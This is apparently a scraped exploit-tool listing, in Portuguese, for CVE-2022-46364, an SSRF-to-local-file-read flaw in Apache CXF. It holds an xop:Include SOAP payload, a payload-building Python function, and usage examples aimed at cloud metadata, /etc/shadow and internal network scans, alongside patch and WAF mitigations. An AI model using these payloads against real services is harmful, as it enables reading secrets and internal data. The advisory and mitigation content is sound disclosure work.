CVE-2022-46364-Proof-of-the-concept — Esta vulnerabilidade permite que um atacante realize ataques de SSRF (Server-Side Request Forgery) em webservices Apache CXF que aceitam solicitações MTOM/XOP. O problema existe na forma como o atributo href de xop:Include é analisado, permitindo que URLs arbitrárias sejam solicitadas pelo servidor. | Kitploit

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <myData>
            <xop:Include href="cid:[email protected]" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </myData>
    </soap:Body>
</soap:Envelope>

// Representação simplificada do código vulnerável no CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
    URL url = new URL(href);  // Nenhuma validação de protocolo!
    return new DataHandler(url.openStream());
}

usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]

CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only

options:
  -h, --help            Show this help message and exit
  -t TARGET, --target TARGET
                        Target base URL (e.g., http://192.168.1.100:8080)
  -e ENDPOINT, --endpoint ENDPOINT
                        Web service endpoint path (default: /services/Service)
  -u URL, --url URL     External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
  -f FILE, --file FILE  Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
  -s SCAN, --scan SCAN  Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)

Argumento	Descrição	Exemplo
`-t, --target`	Obrigatório. URL base do serviço Apache CXF alvo	`http://10.10.10.50:8080`
`-e, --endpoint`	Opcional. Caminho do endpoint SOAP	`/services/UserManagement`
`-u, --url`	URL HTTP/HTTPS para buscar via SSRF	`http://169.254.169.254/latest/user-data`
`-f, --file`	Caminho de arquivo local para ler via LFI	`/etc/shadow`, `C:\ProgramData\secret.txt`


---



### Detalhes da Implementação Principal

#### 1. Construção do Payload MTOM
```python
def create_mtom_payload(uri):
    """Create a multipart/related MTOM message with xop:Include"""
    soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <vulnerableParam>
            <xop:Include href="{uri}" 
                        xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
        </vulnerableParam>
    </soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
    return soap_part

<!-- Para projetos Maven -->
<dependency>
    <groupId>org.apache.cxf</groupId>
    <artifactId>cxf-rt-frontend-jaxws</artifactId>
    <version>3.5.5</version> <!-- ou 3.4.10 para legado -->
</dependency>

Desabilitar MTOM completamente (se não for necessário):

<jaxws:endpoint ...>
    <jaxws:properties>
        <entry key="mtom-enabled" value="false"/>
    </jaxws:properties>
</jaxws:endpoint>

Controles em nível de rede:
- Restringir conexões de saída do servidor de aplicação CXF
- Usar firewalls para impedir acesso a faixas IP internas a partir da camada de aplicação
- Implementar filtragem de saída
Regras de Firewall de Aplicação Web (WAF):
- Bloquear solicitações contendo xop:Include com href apontando para file:// ou endereços IP internos

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

CVE ID	CVE-2022-46364
GHSA ID	GHSA-x3x3-qwjq-8gj4
Tipo de Vulnerabilidade	Falsificação de Solicitação do Lado do Servidor (SSRF) → Inclusão de Arquivo Local (LFI)
Software Afetado	Apache CXF < 3.5.5, Apache CXF < 3.4.10
Severidade	Crítica
Pontuação CVSS	9.8 (Crítica)
Vetor de Ataque	Rede
Autenticação	Nenhuma necessária
Versões Corrigidas	Apache CXF 3.5.5+, 3.4.10+

CVE-2022-46364-Proof-of-the-concept

Mais Populares

Sobre

🔬 DETALHES DA VULNERABILIDADE

O Problema Central

Por Que Isso é Importante

Configurações Afetadas

🧠 ANÁLISE TÉCNICA DETALHADA

Contexto do Protocolo: MTOM e XOP

O Caminho do Código Vulnerável

Trecho de Código (Padrão Vulnerável)

Por Que o LFI Funciona

Capacidade de Varredura de Rede

🛠️ USO DO EXPLOIT

Sintaxe do Comando

Explicação dos Argumentos

📦 INSTALAÇÃO E REQUISITOS

Pré-requisitos

Passos de Instalação

🛡️ MITIGAÇÃO

Correção Oficial

Soluções Alternativas (Se a Correção Não For Possível)

📚 REFERÊNCIAS E CRÉDITOS

Pesquisadores Originais

Avisos Oficiais

Recursos Relacionados

Agradecimentos

📄 LICENÇA